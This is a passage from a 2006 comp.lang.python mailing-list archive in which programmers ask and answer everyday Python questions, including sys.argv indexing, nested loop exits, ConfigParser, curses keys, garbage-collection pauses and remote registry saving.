file. After it > is read batch file deletes this file automatically and on the next loop > it will be written and deleted again. With this script I have to count > the occurences of the file on this specific folder. what does "count" mean here? do you want to check if the file is there, or how many times a file with that name has been created ? the former is easy (just use the os.path.isfile() function), the latter is not really possible. From erikwickstrom at gmail.com Fri Oct 6 19:57:23 2006 From: erikwickstrom at gmail.com (erikcw) Date: 6 Oct 2006 16:57:23 -0700 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> Message-ID: <1160179043.266322.311940@i3g2000cwc.googlegroups.com> I ended up using len(sys.argv) > 1 for this particular problem. But I think slicing is closer to the tool I was looking for. I found a.has_key(k) or "k in a" for dictionaries - but haven't found anything similar for lists. Does it exist? I guess my example from php would technically be a dictionary in python and not a list, it would nice to be able to quickly tell if a list key existed or not. Thanks! Erik Steve Holden wrote: > erikwickstrom at gmail.com wrote: > > Hi all, > > > > I'm sorry about the newbie question, but I've been searching all > > afternoon and can't find the answer! > > > > I'm trying to get this bit of code to work without triggering the > > IndexError. > > > > import shutil, os, sys > > > > if sys.argv[1] != None: > > ver = sys.argv[1] > > else: > > ver = '2.14' > > > > Of course, whenever I run it, I get list index out of range. > > > > I'm coming from the php world where I can do: > > if $_GET['var'] != Null { > > $ver = $_GET['var']; > > } else { > > $ver = '2.14'; > > } > > > > Can anyone tell me how to make this work in python? > > > Well all the advice you've had so far seems good, but of course the > simplest way is just to test the length of the sequence before you try > to address its second element: > > if len(sys.argv) > 1: > ver = sys.argv[1] > else: > ver = "2.14" > > regards > Steve > -- > Steve Holden +44 150 684 7255 +1 800 494 3119 > Holden Web LLC/Ltd http://www.holdenweb.com > Skype: holdenweb http://holdenweb.blogspot.com > Recent Ramblings http://del.icio.us/steve.holden From paddy3118 at netscape.net Fri Oct 13 12:09:20 2006 From: paddy3118 at netscape.net (Paddy) Date: 13 Oct 2006 09:09:20 -0700 Subject: Loops Control with Python In-Reply-To: References: Message-ID: <1160755760.629942.130200@m73g2000cwd.googlegroups.com> Wijaya Edward wrote: > Can we make loops control in Python? > What I mean is that whether we can control > which loops to exit/skip at the given scope. > > For example in Perl we can do something like: > > OUT: > foreach my $s1 ( 0 ...100) { > > IN: > foreach my $s2 (@array) { > > if ($s1 == $s2) { > next OUT; > } > else { > last IN; > } > > } > } > > How can we implement that construct with Python? > Python does not use Labels. If you want to quit a single loop then look up the Python break statement. If you want to exit deeply nested execution then Python has exceptions. this maybe new to a Perl programmer so please take time to understand Python exceptions. There follows a function that you can call from an interactive session to explore one type of use for exceptions that is rather like your use of Perl labels shown. ========================== class Outer(Exception): pass class Inner(Exception): pass def skip_loops(y1 = -1, y2 = -1, y3 = -1): ''' Shows how to skip parts of nested loops in Python''' try: for x0 in range(3): try: for x1 in range(3): for x2 in range(3): if x2 == y2: raise Inner if x2 == y3: break print (x0,x1,x2) if x1 == y1: raise Outer print (x0,x1) except Inner: print "Raised exception Inner" print (x0,) except Outer: print "Raised exception Outer" ========================== >>> skip_loops(y1=2) (0, 0, 0) (0, 0, 1) (0, 0, 2) (0, 0) (0, 1, 0) (0, 1, 1) (0, 1, 2) (0, 1) (0, 2, 0) (0, 2, 1) (0, 2, 2) Raised exception Outer >>> skip_loops(y2=2) (0, 0, 0) (0, 0, 1) Raised exception Inner (0,) (1, 0, 0) (1, 0, 1) Raised exception Inner (1,) (2, 0, 0) (2, 0, 1) Raised exception Inner (2,) >>> - Paddy. P.S. Welcome to Python! From jeremy+complangpython at jeremysanders.net Mon Oct 30 05:27:09 2006 From: jeremy+complangpython at jeremysanders.net (Jeremy Sanders) Date: Mon, 30 Oct 2006 10:27:09 +0000 Subject: Python 123 introduction Message-ID: Here is a brief simple introduction to Python I wrote for a computing course for graduate astronomers. It assumes some programming experience. Although it is not a complete guide, I believe this could be a useful document for other groups to learn Python, so I'm making it available for others to download, and modify for their own needs (some of the content is site specific). HTML version: http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123/ Postscript LaTeX output: http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123.ps PDF LaTeX output: http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123.pdf LaTeX source: http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123.tex Jeremy -- Jeremy Sanders http://www.jeremysanders.net/ From amk at amk.ca Sun Oct 29 08:47:11 2006 From: amk at amk.ca (A.M. Kuchling) Date: Sun, 29 Oct 2006 08:47:11 -0500 Subject: PyCon: proposals due by Tuesday 10/31 Message-ID: <20061029134711.GA15254@rogue.amk.ca> Final reminder: if you want to submit a proposal to PyCon, you should do it by end of Tuesday, October 31st. for more info The deadline for tutorials is November 15th: http://us.pycon.org/TX2007/CallForTutorials PyCon is the Python community conference, held next February 23-25 near Dallas; a tutorial day will be on February 22. See http://us.pycon.org/ for more info. --amk From john106henry at hotmail.com Sun Oct 29 12:33:38 2006 From: john106henry at hotmail.com (John Henry) Date: 29 Oct 2006 09:33:38 -0800 Subject: ANN: Leo 4.4.2.1 final released In-Reply-To: References: Message-ID: <1162143217.977375.290570@i42g2000cwa.googlegroups.com> I downloaded the Windows exe, ran it and a small blank message window poped up and that was it. I am still running 2.3. Edward K. Ream wrote: > Leo 4.4.2.1 final is now available at: > http://sourceforge.net/project/showfiles.php?group_id=3458&package_id=29106 > > Leo 4.4.2.1 final fixes a recent bug that caused Leo not to create the > .leoRecentFiles.txt file properly in some situations. There are no known > significant bugs in this version of Leo. > > Leo 4.4.2 final fixes a few bugs and adds support for pymacs. > > Leo is a text editor, data organizer, project manager and much more. See: > http://webpages.charter.net/edreamleo/intro.html > > The highlights of Leo 4.4.2: > ---------------------------- > - You can now store settings in myLeoSettings.leo without fear of those > settings > being changed by cvs updates or in future versions of Leo. > - Leo's vnode and tnode classes are now completely independent of the rest > of Leo. > Some api's have been changed. This 'big reorg' and may affect scripts and > plugins. > - Leo's vnode and tnode classes can optionally be compatible with ZODB > databases, > i.e., they can optionally derive from ZODB.Persistence.Persistent. > See Chapter 17: Using ZODB with Leo for details. > - The leoOPML plugin defines commands to read and write OPML files. > - The slideshow plugin allows Leo to run slideshows defined by @slideshow > and @slide nodes. > - The leo_to_rtf and leo_to_html plugins create rtf and html files from Leo > outlines. > - Much faster navigation through the outline. > - When focus is in the outline pane, you can move to headlines by typing the > first letter of headlines. > - The find command now optionally closes nodes not needed to show the node > containing the present match. > - Numerous changes that make Leo easier to use without using a mouse, > including new commands and options. > - Many new minibuffer commands now appear in the Cmds menu. > - A sax parser can now optionally read .leo files. > > Links: > ------ > Leo: http://webpages.charter.net/edreamleo/front.html > What's new: http://webpages.charter.net/edreamleo/new-4-4-2.html > Home: http://sourceforge.net/projects/leo/ > Download: http://sourceforge.net/project/showfiles.php?group_id=3458 > CVS: http://leo.tigris.org/source/browse/leo/ > Leo's Wiki: http://leo.zwiki.org/FrontPage > Wikipedia: http://en.wikipedia.org/wiki/Leo_%28text_editor%29 > Quotes: http://webpages.charter.net/edreamleo/testimonials.html > > -------------------------------------------------------------------- > Edward K. Ream email: edreamleo at charter.net > Leo: http://webpages.charter.net/edreamleo/front.html > -------------------------------------------------------------------- From fredrik at pythonware.com Wed Oct 11 02:16:27 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 11 Oct 2006 08:16:27 +0200 Subject: elementsoap with Python 2.5 In-Reply-To: <3M-dncTufqJUxbHYnZ2dnUVZ_vCdnZ2d@comcast.com> References: <3M-dncTufqJUxbHYnZ2dnUVZ_vCdnZ2d@comcast.com> Message-ID: Steven Bethard wrote: > I was trying to get elementsoap_ working with just xml.etree from Python > 2.5 (and no standalone elementtree installation). I think I got > everything working by changing the imports and copying in the > FancyTreeBuilder class (since only TreeBuilder and XMLTreeBuilder are in > the xml.etree.ElementTree module). I've attached the diff. Does this > seem like the right approach? the really correct approach would be to rewrite the code to use the "iterparse" API instead. FancyTreeBuilder relies on various internals, but your copy-and-paste fix should work just fine for Python 2.5 and/or ElementTree 1.2. From fredrik at pythonware.com Sat Oct 7 04:11:13 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sat, 07 Oct 2006 10:11:13 +0200 Subject: dictionary containing a list In-Reply-To: References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com> <1160172055.962140.180110@b28g2000cwb.googlegroups.com> Message-ID: Steve Holden wrote: > One of the fascinating things about c.l.py is that sometimes a questin > will be posted that makes almost no sense to me, and somebody else will > casually read the OP's mind, home in on the issue and provide a useful > and relevant answer. if the assertions made by some about the documentation's unsuit- ability for some are in fact true, that's probably some kind of natural selection in action. From fredrik at pythonware.com Thu Oct 19 13:47:37 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 19 Oct 2006 19:47:37 +0200 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: Message-ID: Dennis Lee Bieber wrote: > ONE usage... The old intro-to-programming Palindrome detector > becomes a very simple assignment given an easy means of reversing a > string (vs the "expected" loop comparing from the ends in to the center) you mean like >>> s = "a man a plan a canal panama" >>> if list(s) != list(reversed(s)): ... print repr(s), "is not a palindrome" ... 'a man a plan a canal panama' is not a palindrome ? From hanumizzle at gmail.com Wed Oct 11 04:49:26 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 04:49:26 -0400 Subject: How to write Smart Python programs? In-Reply-To: <452cae13$0$24783$426a74cc@news.free.fr> References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com> <452cae13$0$24783$426a74cc@news.free.fr> Message-ID: <463ff4860610110149u740a967btbe3822d257b5806e@mail.gmail.com> On 10/11/06, Bruno Desthuilliers wrote: > 2/ functions that returns a status code and modify their arguments. Argument modification for lists with one item is *sometimes* used to emulate full lexical closure. (or at least that's what the folks on freenode #python told me) -- Theerasak From hg at nospam.com Wed Oct 11 13:46:49 2006 From: hg at nospam.com (hg) Date: Wed, 11 Oct 2006 12:46:49 -0500 Subject: nntplib tutorial Message-ID: Hi, Is there such a thing ? Trying to understand the various strings I get hereunder Thanks, hg from nntplib import * s = NNTP('news.central.cox.net') resp, count, first, last, name = s.group('comp.lang.python') print 'Group', name, 'has', count, 'articles, range', first, 'to', last resp, subs = s.xhdr('subject', first + '-' + last) for id, sub in subs[-10:]: print id for article in s.article(id): print dir(article) From larry.bates at websafe.com Fri Oct 27 11:04:26 2006 From: larry.bates at websafe.com (Larry Bates) Date: Fri, 27 Oct 2006 10:04:26 -0500 Subject: Configfile In-Reply-To: References: Message-ID: <45421FFA.602@websafe.com> Fulvio wrote: > *********************** > Your mail has been scanned by InterScan MSS. > *********************** > > > HI, > > I've a small doubt regarding the way to save a configuration file on the file > manipulated by ConfigParser. > As far as I could understand this: > > cp = ConfigParser.ConfigParser > cp.set(section,option) > > will it do the set on the file or do I have to issue a "cp.write(fp)" in order > to get it done? > My tests didn't resulted positively. > > F > > Yes you have to get a file pointer (fp) and do the write as you noted. Also to get instance of ConfigParser you need: cp = ConfigParser.ConfigParser() (note the trailing parenthesis) If you want to read existing .INI file before doing this you need a cp.read('filename.ini') somewhere in your code. -Larry From aidan at aidans.org Fri Oct 13 06:05:45 2006 From: aidan at aidans.org (Aidan Steele) Date: Fri, 13 Oct 2006 20:05:45 +1000 Subject: Thread termination In-Reply-To: <1160732308.053202.225450@b28g2000cwb.googlegroups.com> References: <1160732308.053202.225450@b28g2000cwb.googlegroups.com> Message-ID: <364538570610130305q66563b59j9da3b4fd3701c91d@mail.gmail.com> G'day, As far as my understanding pertains, the thread dies shortly after the function returns (ends). You can call "return" anywhere within the function and kill the thread in the middle of its execution. On 13 Oct 2006 02:38:28 -0700, Teja wrote: > > Hi all, > > Does any one know how to terminate or kill a thread that is started > with "start_new_thread()" in the middle of its execution? > > Any pointers? > > Thanks in advance > > Teja. > > -- > http://mail.python.org/mailman/listinfo/python-list > -------------- next part -------------- An HTML attachment was scrubbed... URL: From sjmachin at lexicon.net Fri Oct 6 21:29:34 2006 From: sjmachin at lexicon.net (John Machin) Date: 6 Oct 2006 18:29:34 -0700 Subject: Names changed to protect the guilty In-Reply-To: <1160183076.034356.292780@i3g2000cwc.googlegroups.com> References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> <1160183076.034356.292780@i3g2000cwc.googlegroups.com> Message-ID: <1160184574.708331.78400@i3g2000cwc.googlegroups.com> MonkeeSage wrote: > On Oct 6, 8:02 pm, "MonkeeSage" wrote: > > it is clearer to you to make the condition explicit ("blah not False"), > > "blah not False" -> "blah is False" Whichever way your team wants to interpret it, d00d. Please consider whether you should be writing "(blah is False) is True", that would be more explicit. From maksim.kasimov at gmail.com Fri Oct 27 08:22:50 2006 From: maksim.kasimov at gmail.com (Maksim Kasimov) Date: Fri, 27 Oct 2006 15:22:50 +0300 Subject: How set the source IP adress Message-ID: Hi, how to set source ip-address when do __socket.connect((host, port)) on a machine that have a several ip-adresses? many thanks for advice. __socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) __socket.connect((host, port)) -- Maksim Kasimov From RodneyWMcBride at gmail.com Mon Oct 23 15:08:32 2006 From: RodneyWMcBride at gmail.com (RodneyWMcBride at gmail.com) Date: 23 Oct 2006 12:08:32 -0700 Subject: _winreg.saveKey question Message-ID: <1161630512.093547.287390@f16g2000cwb.googlegroups.com> Reply with quote Edit/Delete this post Delete this post Post _winreg.SaveKey question Does anyone know where I might find some sample code of using the saveKey function? I am getting an error 5 access denied and I think that it is coming from the way I am specifying the filename as in _winreg.SaveKey(key, filename). The docs mention that if the key is to a remote host (which it is in my case) that the path is relative. I read this as meaning that I should use a unc path back to where I want to save the registry key file. Here is a section of the code I am using: def remoteSaveKey(host, key, file): rhostreg = _winreg.ConnectRegistry(host, _winreg.HKEY_LOCAL_MACHINE) remotekey = _winreg.OpenKey(rhostreg, key) _winreg.SaveKey(remotekey, file) ... from main(): readfile = open('hostlist.txt', 'r') hostfile = [] for host in readfile: hostfile += [host.strip()] for srvname in hostfile: outputpath = destsrvr + srvname # destsrvr is server/share outputfile = outputpath + "\\" + srvname output = remoteSaveKey(hostname, regpath, outputfile) I am able to connect to the registry and I believe that the key is being specified correctly, but I am getting the following error: Traceback (most recent call last): File "main.py", line 40, in ? output = remoteSaveKey(srvname, regpath, outputfile) File "main.py", line 17, in remoteSaveKey _winreg.SaveKey(remotekey, file) WindowsError: [Errno 5] Access is denied I have searched but have only been able to find documentation with little to no examples on how to implement the SaveKey function with a remote host. Any help will be appreciated. thx From irmen.NOSPAM at xs4all.nl Sun Oct 22 14:12:07 2006 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Sun, 22 Oct 2006 20:12:07 +0200 Subject: Socket module bug on OpenVMS In-Reply-To: <453BB122.1020100@laposte.net> References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl> <453BB122.1020100@laposte.net> Message-ID: <453bb479$0$337$e4fe514c@news.xs4all.nl> Jean-Fran?ois Pi?ronne wrote: > Which Python version, OpenVMS version, IP stack and stack version? OpenVMS 7.3-2, Python 2.3.5, no idea about IP stack version. > If you think this is a Python on OpenVMS problem, send me a small > reproduced anf I will take a look. I don't have any small case lying around (I can't reproduce it myself because I lack access to an openVMS machine) but I think you should be able to reproduce it by slightly altering one of the socket examples that comes with Python. Just add the MSG_WAITALL to the recv() call: something = sock.recv(somesize, socket.MSG_WAITALL) and you should see it crash with a socket exception. Mail me offline if you still need running example code (that I think would expose the problem). > If you think it's a OpenVMS problem and if you can provide a simple > reproducer and have a support contract I suggest you call HP, but I > suspect that if it's not documented the reply would be not (yet?) supported. I don't have anything to do with HP... the person that reported the problem to me has, however. He's already aware of the problem. > May be a workaround is to not use MSG_WAITALL (currently) on OpenVMS and > in next version I will not defined MSG_WAITALL in the socket module on > OpenVMS. How can I detect that I'm running on OpenVMS? --Irmen From me at privacy.net Sat Oct 7 09:12:33 2006 From: me at privacy.net (Simon Morgan) Date: 07 Oct 2006 13:12:33 GMT Subject: curses problem reading cursor keys Message-ID: <4527a7c1$0$21342$db0fefd9@news.zen.co.uk> Hi, I'm having trouble with the following code. The problem is that the value read by getch() when I hit the up or down keys doesn't match curses.KEY_UP or curses.KEY_DOWN respectively. Other keys, such as 'z' in my example code, work fine. I only seem to have this problem when dealing with newly created windows and not with the standard/default/root one created by curses.wrapper() and passed to main(). I'd also appreciate any pointers to good tutorials on curses, I've read the one by awk and esr but found it rather brief and lacking in detail. Thanks. import curses def main(scr): status = curses.newwin(1, curses.COLS, 0, 0) status.bkgd('0') status.refresh() list = curses.newwin(curses.LINES, curses.COLS, 1, 0) list.bkgd('X') list.refresh() y = 0 while True: c = list.getch() if c in (curses.KEY_UP, curses.KEY_DOWN, ord('z')): list.addstr("Match!") elif c == ord('q'): break curses.wrapper(main) From fredrik at pythonware.com Sun Oct 1 11:46:57 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 01 Oct 2006 17:46:57 +0200 Subject: Is this a bug? Python intermittently stops dead for seconds In-Reply-To: <7935541.1159716179929.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net> References: <7935541.1159716179929.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net> Message-ID: charlie strauss wrote: > Could you clarify that for me. GC really has three components > two it: 1) finding and freeing unrefernced memory by refer > refer counts 2) cycle removal and 3) defragementing the > storage stack. If I turn off GC, don't I lose all of these? CPython always does (1), only does (2) if cycle-breaking GC isn't disabled, and never does (3). in your case, it's (2) that takes more and more time, simply because you're creating tons of non-trivial objects. to see what's going on in there, add import gc gc.set_debug(gc.DEBUG_STATS) to the top of your program, and look at the status messages that appear just before each "Big Gap" message. From tuomas.vesterinen at pp.inet.fi Sun Oct 22 14:31:22 2006 From: tuomas.vesterinen at pp.inet.fi (Tuomas) Date: Sun, 22 Oct 2006 18:31:22 GMT Subject: pylint: What's wrong with the builtin map() In-Reply-To: References: Message-ID: <_NO_g.236$P33.29@read3.inet.fi> Georg Brandl wrote: > Some people think that all occurences of map() must be replaced > by list comprehensions. The designer of pylint seems to be > one of those. So it seems, but why? Formally spoken we ase "using variable 'x' before assigment" in the comprehension too. #!/usr/bin/python """test pydev_0.9.3/../pylint""" __revision__ = "test_mod 0.2 by TV 06/10/22" lst = ['aaa', ' bbb', '\tccc\n'] # lst = (lambda x: x.strip(), lst) # revision 0.1 lst = [x.strip() for x in lst] result = """revision 0.1: No config file found, using default configuration ************* Module test_mod W: 6: Used builtin function 'map' E: 6: Using variable 'x' before assigment ... revision 0.2: ... Your code has been rated at 10.00/10 (previous run: -10.00/10) """ From no-spam at no-spam-no-spam.com Fri Oct 27 06:26:03 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Fri, 27 Oct 2006 12:26:03 +0200 Subject: conditional computation In-Reply-To: <4541369b$0$2875$426a74cc@news.free.fr> References: <4541369b$0$2875$426a74cc@news.free.fr> Message-ID: Bruno Desthuilliers wrote: > robert a ?crit : > (snip) >> class MemoCache(dict): # cache expensive Objects during a session >> (memory only) >> def memo(self, k, f): >> try: return self[k] >> except KeyError: #<--------- was error >> return self.setdefault(k, f()) >> cache=MemoCache() >> ... >> >> o = cache.memo( complex-key-expr, lambda: expensive-calc-expr ) >> > > And how do you get back the cached value without rewriting both > complex-key-expr *and* expensive-calc-expr ? Or did I missed the point ? the complex-key-expr is written only once in the code - execution inevitable. expensive-calc-expr is written only once in code and expensive execution (I have mostly matrix math) is only done at "f()" time. -robert From g.brandl-nospam at gmx.net Sun Oct 29 02:26:23 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Sun, 29 Oct 2006 08:26:23 +0100 Subject: question about True values In-Reply-To: <87u01oug78.fsf@nandi.2wire.net> References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> <87u01oug78.fsf@nandi.2wire.net> Message-ID: Chetan wrote: >> Steven D'Aprano wrote: >> > On Sat, 28 Oct 2006 03:13:42 +0100, Steve Holden wrote: >> > >> >>> Finally, while True/False is a good mental mapping for numeric comparisons, >> >>> take the following: >> >>> >> >>> >>> if "Cliff is a pillar of the open source community": >> >>> .... print "thank you" >> >>> .... else: >> >>> .... print "bugger off" >> >>> >> >>> bugger off >> >>> >> >> First off, even though nobody has called me on it, this example really prints >> "thank you", not "bugger off". I got confused in my cutting and pasting. >> Sorry about that. >> >> >> >>> Clearly this is not true. (Google Cliff/Dyer open source: only 11 hits.), >> >>> but the string is *something* so the if block gets evaluated. >> >>> >> >> >>> if "The above example was bollocks": >> >> ... print "You don't know what you are talking about" >> >> ... else: >> >> ... print "Sorry: of course you are perfectly correct" >> >> ... >> >> You don't know what you are talking about >> > Cliff is making a point about semantics, and he's absolutely correct about >> > it, although it is irrelevant since we're talking about two-value logic >> > not semantics. >> Cheers, >> Cliff > > I am joining after some network downtime here, so I seem to have missed what > the real issue here is. At the risk of being completely irrelevant to the > discussion here, I think it doesn't seem to be just about something or > nothing - is None something or nothing? It seems to be neither: If is, of course, nothing. You may have misunderstood the semantics of the "and" and "or" operators. >>>> None >>>> None and True >>>> None or True > True >>>> None and False >>>> None or False > False >>>> False or None >>>> False and None > False >>>> True and None >>>> True or None > True >>>> not None > True x and y | x something | x nothing --------------------------------------- y something | y | x y nothing | y | x x or y | x something | x nothing --------------------------------------- y something | x | y y nothing | x | y Georg From inq1ltd at verizon.net Thu Oct 26 11:00:40 2006 From: inq1ltd at verizon.net (jim-on-linux) Date: Thu, 26 Oct 2006 11:00:40 -0400 Subject: Slightly OT: Is pyhelp.cgi documentation search broken? In-Reply-To: References: Message-ID: <200610261100.40407.inq1ltd@verizon.net> On Thursday 26 October 2006 04:01, you wrote: > Hi! > > For a number of days I haven't been able to > search the online python docs at: > > http://starship.python.net/crew/theller/pyhelp. >cgi > Joel, Try here, py2exe-users at lists.sourceforge.net jim-on-linux http://www.inqvista.com > that is the "search the docs with" link at this > page: > > http://www.python.org/doc/ > > Instead of the search engine, I get Error 404. > This is a real bother for me, since I rely > heavily on it for my work. > > Is it broken? If so, is anybody trying to get > it back up again, and what's the time scale in > that case? Is there an alternative available > somewhere? > > Cheers! > /Joel Hedlund From effigies at gmail.com Sat Oct 14 23:32:42 2006 From: effigies at gmail.com (Chris Johnson) Date: 14 Oct 2006 20:32:42 -0700 Subject: Ok. This IS homework ... In-Reply-To: <1160866295.553656.112730@m7g2000cwm.googlegroups.com> References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com> Message-ID: <1160883162.377983.168180@m73g2000cwd.googlegroups.com> spawn wrote: > but I've been struggling with this for far too long and I'm about to > start beating my head against the wall. > > My assignment seemed simple: create a program that will cacluate the > running total of user inputs until it hits 100. At 100 it should stop. > That's not the problem, in fact, that part works. It's the adding > that isn't working. How can my program add 2 + 7 and come up with 14? > > I'm posting my code (so that you may all laugh). If ANYONE has any > ideas on what I'm doing wrong, I'd appreciate. > > --------------------------------------------------- > > running = True > goal = 100 > > # subtotal = 0 > # running_total = subtotal + guess > > while running: > guess = int(raw_input('Enter an integer that I can use to add : ')) > subtotal = guess > > while running: > guess = int(raw_input('I\'ll need another number : ')) > running_total = guess + subtotal > print running_total > > if running_total == goal: > print 'Congratulations! You\'re done.' > > elif running_total > goal: > print 'That\'s a good number, but too high. Try again.' > > print 'Done' A couple things: 1) I don't understand this looping structure. When the inner one ends, the outer one will as well, and will never repeat. 2) As to why 2 + 7 gets you 14, subtotal is a shallow copy of guess, so I speculate that the second assignment to guess doesn't change the address, but inserts a new value into the old address. The upshot being that you have guess and subtotal pointing to the same second value. If I were you I would rewrite that bit as: guess1 = int(raw_input('Enter an integer that I can use to add : ')) while running: guess2 = int(raw_input('I\'ll need another number : ')) total = guess1 + guess2 (Your original assignments were confusing, using the same variables in different contexts, and throwing in extra variables for no obvious reason. This way it is clear what's being done, and it's easy to see whether what's being done is what you want.) Reading your description, that's not what you want. You want to accumulate, so you'll want subtotal to be increasing each time a decent guess is input. You want to quit when you reach 100, but you never set running to False. > -------------------------- > > I tried adding an additional "while" statement to capture the second > number, but it didn't seem to solve my problem. Help! From bignose+hates-spam at benfinney.id.au Wed Oct 11 01:44:05 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 11 Oct 2006 15:44:05 +1000 Subject: sufficiently pythonic code for testing type of function References: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com> Message-ID: <87vemr76fu.fsf@benfinney.id.au> "Theerasak Photha" writes: > I wrote this for someone else to take an object and list of types, > then check if obj is one of those types, raising an error otherwise. > > Is it enough to rely on side effects or absence thereof, or should I > put return True in here somewhere? > > def test_obj_type(obj, types): > for type in types: > if isinstance(obj, type): > break > else: > raise ValueError, 'object is not in %s' % types Why have you re-implemented (a less-functional version of) 'isinstance'? >>> help(isinstance) Help on built-in function isinstance in module __builtin__: isinstance(...) isinstance(object, class-or-type-or-tuple) -> bool Return whether an object is an instance of a class or of a subclass thereof. With a type as second argument, return whether that is the object's type. The form using a tuple, isinstance(x, (A, B, ...)), is a shortcut for isinstance(x, A) or isinstance(x, B) or ... (etc.). >>> isinstance(3, (int, float)) True -- \ "Yesterday I told a chicken to cross the road. It said, 'What | `\ for?'" -- Steven Wright | _o__) | Ben Finney From peter.maas at somewhere.com Thu Oct 12 15:24:14 2006 From: peter.maas at somewhere.com (Peter Maas) Date: Thu, 12 Oct 2006 21:24:14 +0200 Subject: Python component model In-Reply-To: References: <452b7aae$0$306$426a74cc@news.free.fr> Message-ID: Peter Decker wrote: > I think you should take a good look at Dabo and the visual tools they > are creating. Thanks for the hint, Peter. I've heard of Dabo and it's on my list of things to be inspected. Perhaps my postings have been misunderstood. I don't feel uneasy with Python. I'm using it since 4 years and know how to find the tools I need. But I feel uneasy with an excessive readiness of some c.l.p participants to accept Python as it is and even to react defiantly on friendly suggestions how to make Python a more obvious choice for newcomers. I think this is important for Python's survival. -- Regards/Gruesse, Peter Maas, Aachen E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64') From fredrik at pythonware.com Tue Oct 17 12:04:49 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 17 Oct 2006 18:04:49 +0200 Subject: Return returns nothing in recursive function In-Reply-To: References: Message-ID: Matthew Warren wrote: > I have the following code that implements a simple recursive tree like > structure. > > The trouble is with the GetTreeBranch function, the print statement > prints a valid value but the return immediatley afterward doesn't return > anything. hint: how many "return" statements do you see in this piece of code: else: GetTreeBranch(path[1:],item[path[0]]) From steve at REMOVE.THIS.cybersource.com.au Sun Oct 8 06:57:46 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sun, 08 Oct 2006 20:57:46 +1000 Subject: Can't get around "IndexError: list index out of range" References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> <1160198110.064741.133700@k70g2000cwa.googlegroups.com> <1160241982.216511.281950@m73g2000cwd.googlegroups.com> <1160262952.734016.306150@e3g2000cwe.googlegroups.com> <452846fe.0@entanet> <1160267115.309599.26160@e3g2000cwe.googlegroups.com> <1160269607.522241.311160@m73g2000cwd.googlegroups.com> Message-ID: On Sat, 07 Oct 2006 18:06:47 -0700, MonkeeSage wrote: > On Oct 7, 7:59 pm, Steven D'Aprano > wrote: >> Because they aren't needed often, and when they are, they are easy to >> implement? > > More often and easier to implement than dict.has_key / get? No, *less* often. That's the point -- it is fairly common for people to want dictionary lookup to return a default value, but quite rare for them to want sequence lookup to return a default value. A sequence with a default value would be, in some sense, equivalent to an infinite list: [A, B, ... , Z, default, default, default, ... ] where the A...Z are actual values. (Obviously you don't actually have an infinite list.) I can't think of any practical use for such a thing; the only thing that comes close is in some Cellular Automata it is sometimes useful to imagine cells out of range to be always in some default state. But generally speaking, you don't implement Cellular Automata with lists. >> It is hard to see where list.get(index, default) would be useful, since >> accessing an index out of range of a list is generally an error, unlike >> accessing a missing key. > > Uh, no. KeyError. dict.get() doesn't raise KeyError. That's the whole point of get(), it returns a default value instead of raising KeyError. >> Not every piece of functionality needs to be a built-in. > > Agreed. but why implement a certain functionality in one place but leave > it out of another? Because implementation requires time and effort. It makes the regression tests more complicated and bloats the code base. If the feature doesn't scratch anybody's itch, if there isn't a clear use for it, it won't be implemented. If you don't care enough to even make a formal feature request, let alone a PEP, then why should people who care even less actually write the code? -- Steven. From MonkeeSage at gmail.com Tue Oct 3 08:47:53 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 3 Oct 2006 05:47:53 -0700 Subject: was python implemented as a object oriented langage at the beginning ? References: Message-ID: <1159879673.081812.124460@i3g2000cwc.googlegroups.com> Bertrand Ballis wrote: > I heard a lot of people from the Ruby community claiming that Python, like > Perl, was a scripting langage that was changed aftewards to be object > compatible, and that was making it not as good as Ruby, object-oriented > from the begenning. Sounds like a bunch of hooey on both counts ("alot of people claiming" and "python not OO"). The python object system is closer to C++, ruby's is closer to SmallTalk; but they are both OO (i.e., everything is an object), and support all the OOP distinctives (i.e., encapsulation, abstraction, &c) -- just because a language doesn't implement OO in the exact same way as another doesn't mean it isn't OO -- it just means it's a different language. Sounds like mabye you heard a few ruby zealots who didn't know what they were talking about. Regards, Jordan From tim.peters at gmail.com Sun Oct 8 21:26:09 2006 From: tim.peters at gmail.com (Tim Peters) Date: Sun, 8 Oct 2006 21:26:09 -0400 Subject: Python license question In-Reply-To: <1160353411.470511.307190@c28g2000cwb.googlegroups.com> References: <1160353411.470511.307190@c28g2000cwb.googlegroups.com> Message-ID: 